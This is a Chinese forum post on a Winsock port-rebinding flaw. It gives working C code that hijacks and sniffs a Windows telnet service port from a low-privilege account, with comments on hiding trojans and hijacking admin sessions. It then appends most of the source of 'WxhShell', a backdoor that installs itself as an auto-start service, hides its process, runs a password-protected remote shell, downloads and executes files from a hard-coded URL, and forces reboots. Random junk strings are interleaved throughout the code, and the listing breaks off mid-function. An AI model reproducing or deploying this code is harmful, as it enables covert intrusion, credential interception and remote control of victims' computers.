社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13146阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3V)NM%Aw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j c-$l  
8AQ@?\Rc"2  
  saddr.sin_family = AF_INET; vAH`tPi>  
KDEcR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =*Ru 2  
FdFN4{<QZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |xX>AMZc)D  
3S h#7"K3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Qk h}=3u  
gK+/wTQ%  
  这意味着什么?意味着可以进行如下的攻击: BMxe)izT;  
H){lXR/#u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +x_9IvaW&?  
*p=a-s5-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2Pz)vnV"  
Trz41g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "o6a{KY(  
ux=0N]lc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A$;"9F@  
%IhUQ6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *!- J"h  
9W+RUh^W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F* h\#?  
9?L,DThQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KVA~|j B  
AttS?TZr  
  #include &m8Z3+Ea  
  #include D g~L"  
  #include dub %fs  
  #include    [44C`x[8M+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3Lw&HtH  
  int main() GT3 ?)g{Z  
  { -lDAxp6p  
  WORD wVersionRequested; uqFYa bU  
  DWORD ret; (>usa||  
  WSADATA wsaData; |z%:{  
  BOOL val; }VI}O{  
  SOCKADDR_IN saddr; 7ElU5I<S  
  SOCKADDR_IN scaddr; WPbG3FrL!  
  int err; _oBJ'8R\  
  SOCKET s; \Uh$%#}.  
  SOCKET sc; #cdrobJ  
  int caddsize; ~;uc@GGo  
  HANDLE mt; ^oYudb^%  
  DWORD tid;   unZYFA}(  
  wVersionRequested = MAKEWORD( 2, 2 ); yhzZ[vw7k  
  err = WSAStartup( wVersionRequested, &wsaData ); ey ;94n:<  
  if ( err != 0 ) { {Xw6p  
  printf("error!WSAStartup failed!\n"); Z:3SI$tO  
  return -1; Ptj[9R  
  } /.>8e%)  
  saddr.sin_family = AF_INET; { M&Vh]  
   RjW< H6a"K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I/V lH:o  
_&xi})E^O]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lU&[){  
  saddr.sin_port = htons(23);  66 @#V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r>Rm=eKJ  
  { v"3($?au0  
  printf("error!socket failed!\n"); Li8$Rb~q  
  return -1; &K@ RTgb  
  } _Cnl|'  
  val = TRUE; =QQTHL{3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %S9YjMR@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9Impp5`/B  
  { uW4wTAk;qh  
  printf("error!setsockopt failed!\n"); JT(6Uf  
  return -1; }X?M6;$)  
  } 'wm :Xa  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M`u&-6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \!Cc[n(f#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !eE;MaS>  
>xB[k-C4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @eOD+h'  
  { ) u Sg;B4  
  ret=GetLastError(); yNU.<d 5  
  printf("error!bind failed!\n"); |18h p  
  return -1; jPc"qER!  
  } eF=cMC  
  listen(s,2); IVdM}"+  
  while(1) & c V$`L  
  { #|R#/Yc@Bv  
  caddsize = sizeof(scaddr); K0xka[x=(  
  //接受连接请求 <g3)!VR^q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C(@#I7G  
  if(sc!=INVALID_SOCKET) r=74 'g  
  { H.=S08c3kA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g*]/HS>e<G  
  if(mt==NULL) x4=Sm0Ro|V  
  { hw9qnSeRy  
  printf("Thread Creat Failed!\n"); oQ:.pq{T  
  break; su\iUi  
  } aTLu7C\-e  
  } INjr$'*  
  CloseHandle(mt); 2*)2c[/0F  
  } K~6,xZlDWM  
  closesocket(s); rU!QXg]uD  
  WSACleanup(); Ql8s7%  
  return 0; |x#w8=VP-  
  }   vmsrypm  
  DWORD WINAPI ClientThread(LPVOID lpParam) %pG^8Q()   
  { [~&yLccN  
  SOCKET ss = (SOCKET)lpParam; vOQ 3A%/  
  SOCKET sc; 1=U NA :t<  
  unsigned char buf[4096]; aP&bW))CI  
  SOCKADDR_IN saddr; 8gn12._x  
  long num; orON)S ks  
  DWORD val; qSA]61U&  
  DWORD ret; u/_TR;u= q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "\`>Ll  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :f_fp(T  
  saddr.sin_family = AF_INET; qEJ#ce]G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !!:mjq<0  
  saddr.sin_port = htons(23); ~;S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DV{0|E  
  { }huFv*<@'  
  printf("error!socket failed!\n"); +, |aIF  
  return -1; K{ED mC  
  } <N'v-9=2jl  
  val = 100; V]Z!x.x"=y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ``:+*4e9  
  { A}3dx!?7j  
  ret = GetLastError(); l' mdj!{&  
  return -1; YM r2|VEU[  
  }  ,7h0y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j[Q9_0R~lR  
  { `~k`m{4.a  
  ret = GetLastError(); h ]6: `5-  
  return -1; J5Ovj,[EZ  
  } Y!qn[,q8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m- u0U  
  { H5!e/4iz  
  printf("error!socket connect failed!\n"); q/#p ol  
  closesocket(sc); J:Idt}@z  
  closesocket(ss); /nWBol,  
  return -1; riv8qg  
  } E*AI}:or;  
  while(1) hZ`<ID  
  { {|{;:_.>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9_-6Lwj6t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8yDe{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Aw$+Ew[8 2  
  num = recv(ss,buf,4096,0); ~J:]cy)Q  
  if(num>0) iu.v8I ;<  
  send(sc,buf,num,0); B? Z_~Bf&  
  else if(num==0) w<&R|= 93  
  break; K;Fs5|gFU  
  num = recv(sc,buf,4096,0); lW|`8ykp  
  if(num>0) ?Gqq]ozm  
  send(ss,buf,num,0); z3Zo64V~7  
  else if(num==0) 38#Zlc f  
  break; 8_Nyy/K#F  
  } \@B 'f  
  closesocket(ss); G_]zymXQ  
  closesocket(sc); _)kTlX:,  
  return 0 ; U!i1~)s  
  } r#'ug^^k$X  
%zz,qs)Eu  
XY^]nm-{I  
==========================================================  35%\"Y?  
%E2b{Y;  
下边附上一个代码,,WXhSHELL PC!g?6J  
^D8~s;?  
========================================================== 1I?`3N  
p?2^JJpUb  
#include "stdafx.h" R8-=N+hX  
/b7]NC%  
#include <stdio.h> 92x)Pc^D  
#include <string.h> ]?%S0DO*  
#include <windows.h> `?G&w.Vs  
#include <winsock2.h> ,GF]+nI89  
#include <winsvc.h> b4&l=^:e=  
#include <urlmon.h> XR_Gsb%l  
FrC)2wX  
#pragma comment (lib, "Ws2_32.lib") *7o@HBbF  
#pragma comment (lib, "urlmon.lib") w ZfY~  
oy-y Q YX  
#define MAX_USER   100 // 最大客户端连接数 H/U.Bg 4  
#define BUF_SOCK   200 // sock buffer > JC"YB  
#define KEY_BUFF   255 // 输入 buffer l;d4Le  
hVIv->  
#define REBOOT     0   // 重启 =m;,?("7t3  
#define SHUTDOWN   1   // 关机 *#9?9SYSk  
[Ob09#B%:5  
#define DEF_PORT   5000 // 监听端口 Ggry,3X3  
=P%?{7  
#define REG_LEN     16   // 注册表键长度 "`NAg  
#define SVC_LEN     80   // NT服务名长度 GTM@9^  
#>M^BOR8  
// 从dll定义API K7X*N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2m^qXE$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eLIZ<zzW0}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2<9&OL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fjCFJ_  
d$^ @$E2f  
// wxhshell配置信息 *ze,X~8-  
struct WSCFG { V|G*9^Y  
  int ws_port;         // 监听端口 3rBID  
  char ws_passstr[REG_LEN]; // 口令 qP0UcG  
  int ws_autoins;       // 安装标记, 1=yes 0=no 22'Ra[  
  char ws_regname[REG_LEN]; // 注册表键名 C8W_f( i~  
  char ws_svcname[REG_LEN]; // 服务名 xXlx}C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f0879(,i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U(gYx@   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (&SPMhs_|(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RzU9]e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +Sc2'z>R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NL,6<ZOon,  
^5Zka!'X2Z  
}; . '>d7  
7g$*K0m`  
// default Wxhshell configuration Y-lwS-Ii  
struct WSCFG wscfg={DEF_PORT, OLo?=1&;;  
    "xuhuanlingzhe", ^ WF_IH&  
    1,  W_6gV  
    "Wxhshell", %l,CJd5  
    "Wxhshell", Q zg?#|  
            "WxhShell Service", Hy5 6@jW+E  
    "Wrsky Windows CmdShell Service", 6LrI,d  
    "Please Input Your Password: ", _Wq;bKG  
  1, 31\mF\{V  
  "http://www.wrsky.com/wxhshell.exe", Zv2]X-  
  "Wxhshell.exe" &kcmkRRG  
    }; R xS{  
+IMt$}7[  
// 消息定义模块 , `PYU[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ht#,v5oG>f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EeH ghq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @Ko#nDEq  
char *msg_ws_ext="\n\rExit."; %k<+#j6ZH  
char *msg_ws_end="\n\rQuit."; 39MOqVc  
char *msg_ws_boot="\n\rReboot..."; bI^F (  
char *msg_ws_poff="\n\rShutdown..."; -Kw7! =_ g  
char *msg_ws_down="\n\rSave to "; [nG[ x|;|  
?9%$g?3Z  
char *msg_ws_err="\n\rErr!"; B" _Xst  
char *msg_ws_ok="\n\rOK!"; '14 86q@[$  
U o aWI2  
char ExeFile[MAX_PATH]; -g:i'e  
int nUser = 0; Vw3=jIQN:!  
HANDLE handles[MAX_USER]; b6xz\zCL  
int OsIsNt; K:A:3~I!NW  
"_2;+@+  
SERVICE_STATUS       serviceStatus; M)U)Sc zHO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (>,b5g  
(&u'S+  
// 函数声明 C\Z5%2<Z  
int Install(void); re,}}'  
int Uninstall(void); q6b&b^r+H  
int DownloadFile(char *sURL, SOCKET wsh); B`gH({U  
int Boot(int flag); ZuZCIqN  
void HideProc(void); D^a(|L3;  
int GetOsVer(void); :wEy""*N0  
int Wxhshell(SOCKET wsl); HYG1BfEaW  
void TalkWithClient(void *cs); bc:3 5.  
int CmdShell(SOCKET sock); &-w.rF@  
int StartFromService(void); ]q"y P 0  
int StartWxhshell(LPSTR lpCmdLine); 7{l~\] 6d  
8)2M%R\THn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OO'zIC<z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @iMF&\KC  
C9_[ke[1D  
// 数据结构和表定义 xB]^^ NYE=  
SERVICE_TABLE_ENTRY DispatchTable[] = 6oFA=CjU{  
{ oIQ$98M  
{wscfg.ws_svcname, NTServiceMain}, )TyP{X>  
{NULL, NULL} 'vYt_T  
}; G*,7pc  
jtq ^((Ux  
// 自我安装 M`8c|*G   
int Install(void) \/C5L:|p_  
{ wCV~9JTJ!  
  char svExeFile[MAX_PATH]; cnRgzj<ek  
  HKEY key; bvHQ# :}H  
  strcpy(svExeFile,ExeFile); L4ct2|w}ul  
yY*(!^S  
// 如果是win9x系统,修改注册表设为自启动 kem(U{m  
if(!OsIsNt) { +md"X@k5*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F\v~2/J5v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); So75h*e  
  RegCloseKey(key); rg=Ym.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K`j:F>b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $~j9{*]5  
  RegCloseKey(key); NTO.;S|2%  
  return 0; ]>ndFE6kl  
    } #_|O93HN'  
  } g_! xD;0  
} uRYq.`v,  
else { 5iI(A'R[7  
~w9`l8/0  
// 如果是NT以上系统,安装为系统服务 zD<8.AIGC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =6f)sZpPh  
if (schSCManager!=0) 6__HqBQ  
{ /"8|26  
  SC_HANDLE schService = CreateService /{/mwS"W  
  ( !N_eZPU.v  
  schSCManager, rQ6>*0xL_  
  wscfg.ws_svcname, Pp_? z0M  
  wscfg.ws_svcdisp, Rlm28  
  SERVICE_ALL_ACCESS, HuK Ob4g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +F%tBUY{<  
  SERVICE_AUTO_START, Ct zW do.  
  SERVICE_ERROR_NORMAL, 3xmPY.  
  svExeFile, `I4E': ZG  
  NULL, P2 qC[1hYH  
  NULL, ]m7x&N2  
  NULL, [ wnaF|h  
  NULL, :h/v"2uDN  
  NULL eAqpP>9n  
  ); ITEf Q@#jU  
  if (schService!=0) =fdW H4  
  { &}|`h8JA]K  
  CloseServiceHandle(schService); @?;)x&<8?3  
  CloseServiceHandle(schSCManager); B/^o$i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H0yM`7[y  
  strcat(svExeFile,wscfg.ws_svcname); \qlz<   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vlipB}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c/:k|x  
  RegCloseKey(key); \m1^sFMZ  
  return 0; d2)]6)z6  
    } ?Iij[CbU  
  } cM4{ e^  
  CloseServiceHandle(schSCManager); #yU"n-eLR  
} (ip3{d{CT]  
} pp{GaCi  
e**'[3Y  
return 1; *65~qAd  
} z]LVq k  
0I do_V  
// 自我卸载 dTlEEgR  
int Uninstall(void) DRTT3;,N  
{ TZ3gJ6 Cb  
  HKEY key; -j:yEZ4Oy  
GU9p'E  
if(!OsIsNt) { .7:ecFKk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R9D2cu,{  
  RegDeleteValue(key,wscfg.ws_regname); 6+"gk(  
  RegCloseKey(key); -w8?Ur1x:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j~>J?w9<O  
  RegDeleteValue(key,wscfg.ws_regname); fY #Yn  
  RegCloseKey(key); JsMN_%y?  
  return 0; ]scr@e  
  } 'A\0^EvVv  
} + Okw+v  
} #`l&HV   
else { I3izLi  
.3@Pz]\M#>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4d}n0b\d  
if (schSCManager!=0) ~r'ApeI9  
{ ='C;^ Bk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tw.z5  
  if (schService!=0) Uyeo0B"  
  { $fT#Wva-\d  
  if(DeleteService(schService)!=0) { ,t9CP  
  CloseServiceHandle(schService); N,F[x0&?  
  CloseServiceHandle(schSCManager); rV*Ri~Vx  
  return 0; kp6&e  
  } uE.. 1N&*  
  CloseServiceHandle(schService); NZ+TTMv  
  } "od 2i\  
  CloseServiceHandle(schSCManager); %"|W qxv  
} sn'E}.uhXH  
} 6;M{suG|  
_~ 2o  
return 1; f %q ?  
} o,$K=#Iv  
(SA^> r  
// 从指定url下载文件 ],'"iVh  
int DownloadFile(char *sURL, SOCKET wsh) dMI G2log  
{ c68,,rJO]i  
  HRESULT hr; i\#?M  "  
char seps[]= "/"; X3~@U7DU  
char *token; Oz<#s{Z  
char *file; "DX 2Mu=  
char myURL[MAX_PATH]; /38XaKc{6  
char myFILE[MAX_PATH]; y3P4]sq  
UH((d*HX4  
strcpy(myURL,sURL); VLfKN)g  
  token=strtok(myURL,seps); fd&>p  
  while(token!=NULL) hANe$10=H  
  { vVjk9_Ul  
    file=token; SXNde@% {  
  token=strtok(NULL,seps); 74c5\UxA  
  } xE*. ,:,&  
5d-rF:#  
GetCurrentDirectory(MAX_PATH,myFILE); oS<*\!&D  
strcat(myFILE, "\\"); IUD@Kf]S  
strcat(myFILE, file); Bt(nm> Ng  
  send(wsh,myFILE,strlen(myFILE),0); Sb}=j;F  
send(wsh,"...",3,0); Kv ajk~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Y6r !D9  
  if(hr==S_OK) ,Z8)DC=  
return 0; \]3[Xw-$  
else  LYyud  
return 1; <2N=cH'  
u $D%Iz  
} [7,q@>:CS  
_auFt"n  
// 系统电源模块 ~*e@^Nv)v  
int Boot(int flag) X]=8Oa  
{ uSH_=^yTQ  
  HANDLE hToken; (N9g6V  
  TOKEN_PRIVILEGES tkp; S.?DR3XLc  
)`mBvS.}  
  if(OsIsNt) { Sf2xI'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %Y9CZRY 9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vX&W;&  
    tkp.PrivilegeCount = 1; /*t H$\6*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8/lgM'Eux  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }q,dJE  
if(flag==REBOOT) { {W=5 J7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )G*xI`(@  
  return 0; 1I40N[PE)  
} bYr*rEcA  
else { F'T.-lEO_d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X3?RwN:P  
  return 0; !x")uYf  
} v^Rw9*w{  
  } Ml'lZ)  
  else { /Zxq-9   
if(flag==REBOOT) { Q^X}7Z|T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {+EnJ"  
  return 0; d-z[=1m  
} h-DHIk3/  
else { beNy5~M$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~y,m7%L  
  return 0; '1~;^rU  
} s&XL{FE  
} o.s(=iG  
U.Y7]#P:  
return 1; `]a0z|2'!  
} ,Kt51vGi  
U/_hH*N"!  
// win9x进程隐藏模块 xtK\-[n  
void HideProc(void) ` }B,w-,io  
{ 7R5+Q\W  
1\g r ;b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hS&.-5v  
  if ( hKernel != NULL ) LCuz_LTFq{  
  { lNTbd"}$:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5qFHy[I A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZH~Wn#Wp  
    FreeLibrary(hKernel); DcE4r>8B  
  } |7${E^u  
#aiI]'  
return; X8wtdd]64  
} | /n  
<,X=M6$0n  
// 获取操作系统版本 }y vH)q  
int GetOsVer(void) I+31:#d  
{ 7m}fVLk  
  OSVERSIONINFO winfo; "]OROJGa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,sT5TS q  
  GetVersionEx(&winfo); Y~?Z'uR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pz 0TAb  
  return 1; "=V!-+*@G@  
  else U2v;GIo$yU  
  return 0; A2 $05a$%  
} <j3|Mh_(I  
k= &n>P  
// 客户端句柄模块 }7_$[r'_oI  
int Wxhshell(SOCKET wsl) E()%IC/R  
{ Ys|SacWC  
  SOCKET wsh; rinTB|5  
  struct sockaddr_in client; WQbjq}RfI  
  DWORD myID; \[]?9Z=n  
G,<l}(tEG  
  while(nUser<MAX_USER) Z*-a=u%gl'  
{ T6."j_  
  int nSize=sizeof(client); #T@k(Bz{L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2\;/mQI2A  
  if(wsh==INVALID_SOCKET) return 1; z;_vl  
nzbAQ3v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZT8LMPC  
if(handles[nUser]==0) T|0d2aa  
  closesocket(wsh); f>|<5zm#<  
else _ {6l}  
  nUser++; LF#[$ so{i  
  } B#cN'1c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8H`L8: CM  
'sE["eC  
  return 0; c2?VjuB0  
} y~su1wUp  
G6+6u Wvl  
// 关闭 socket )PW|RW  
void CloseIt(SOCKET wsh) EY:H\4)  
{ oB~V~c}8x  
closesocket(wsh); X4Pm&ol  
nUser--; lxr;AJ(  
ExitThread(0); j(k}NWPH  
} b*/Mco 9O  
$cU7)vmK`  
// 客户端请求句柄 B2|0.G|[j  
void TalkWithClient(void *cs) DIJmISk  
{ )dh`aQ%N "  
B< HN$/  
  SOCKET wsh=(SOCKET)cs; L&~'SC  
  char pwd[SVC_LEN]; upX@8WxR  
  char cmd[KEY_BUFF]; c((bUjS'=Y  
char chr[1]; lJdYR'/Wd  
int i,j; j; R20xf0  
^@{"a  
  while (nUser < MAX_USER) { *u",-n  
c?REDj2  
if(wscfg.ws_passstr) { 9X +dp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FFN Sn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;4;. V  
  //ZeroMemory(pwd,KEY_BUFF); M'F<1(  
      i=0; c{KJNH%7  
  while(i<SVC_LEN) { s|`wi}"x  
YD0hDp  
  // 设置超时 VR\}*@pNp  
  fd_set FdRead; $R NHRA.  
  struct timeval TimeOut; +\)Y,@cw  
  FD_ZERO(&FdRead); vU]n0)<KB  
  FD_SET(wsh,&FdRead); @LSh=o+  
  TimeOut.tv_sec=8; =\oL'>q  
  TimeOut.tv_usec=0; #dD0vYT&od  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~*9Ue@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L]u^$=rI  
P}qpy\/(4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _:WNk(  
  pwd=chr[0]; x+;y0`oL  
  if(chr[0]==0xd || chr[0]==0xa) { =N8_S$nx(  
  pwd=0; MvnQUZ  
  break; s9OW.i]zX  
  } M_ >kefr  
  i++; 1 ltW9^cF}  
    } p>#q* eU5  
hUuKkUR+Ir  
  // 如果是非法用户,关闭 socket z[myf] @  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x<' $  
} K=nDC.  
fOME&$=O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YbnXAi\y|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Px Gw5:  
>(wQx05^D  
while(1) { VJFFH\!`  
r| )45@  
  ZeroMemory(cmd,KEY_BUFF); ^FkB/j  
~P"Agpx3u  
      // 自动支持客户端 telnet标准   RA;/ ?l  
  j=0; -sZb+2tDa  
  while(j<KEY_BUFF) { Li"+`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W&&|T;P<J  
  cmd[j]=chr[0]; 8lGM>(:o  
  if(chr[0]==0xa || chr[0]==0xd) { ,<)D3K<  
  cmd[j]=0; L F} d  
  break; TA2ETvz^  
  } ZS;V?]\(  
  j++; E_DQ.!U!o  
    } odC"#Rb  
Xo] 2iQy  
  // 下载文件 yU4mS;GX  
  if(strstr(cmd,"http://")) { }.Z `   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /BD'{tZ]Sl  
  if(DownloadFile(cmd,wsh)) YD;d*E%t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X1o^MMpz(F  
  else @rDBK] V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *|<~IQg  
  } wfpl]d!  
  else { 'GX x|.  
zy nX9t  
    switch(cmd[0]) { C"B'Dj  
  ,UNk]vd  
  // 帮助 R=&-nC5e  
  case '?': { 4Orq;8!BW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y:L[Iz95o  
    break; ]8DTk!  
  } ,+4T7 UR  
  // 安装 1X5Yp|Ho  
  case 'i': { NsSZ?ky  
    if(Install()) l|E4 7@#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >]ZE<.  
    else II|;_j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +,AzxP _y  
    break; >u(^v@Ejf  
    } J:gC1g^  
  // 卸载 $I>]61l%  
  case 'r': { $/tj<++W  
    if(Uninstall()) 5pe)CjE:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZPj?ou`G  
    else cs.t#C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xW*Lceb  
    break; g,!.`[e'ex  
    } H.E=m0 np  
  // 显示 wxhshell 所在路径 OFyy!r@?  
  case 'p': { *PV"&cx  
    char svExeFile[MAX_PATH]; 7aKI=;60.  
    strcpy(svExeFile,"\n\r"); 4%w<Ekd  
      strcat(svExeFile,ExeFile); bv'>4a  
        send(wsh,svExeFile,strlen(svExeFile),0); 6$=>ckP  
    break; Z`M pH  
    } ]@<VLP?  
  // 重启 KYJP`va6k  
  case 'b': { <FBBR2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SZ9DT  
    if(Boot(REBOOT)) 3Il._]#  
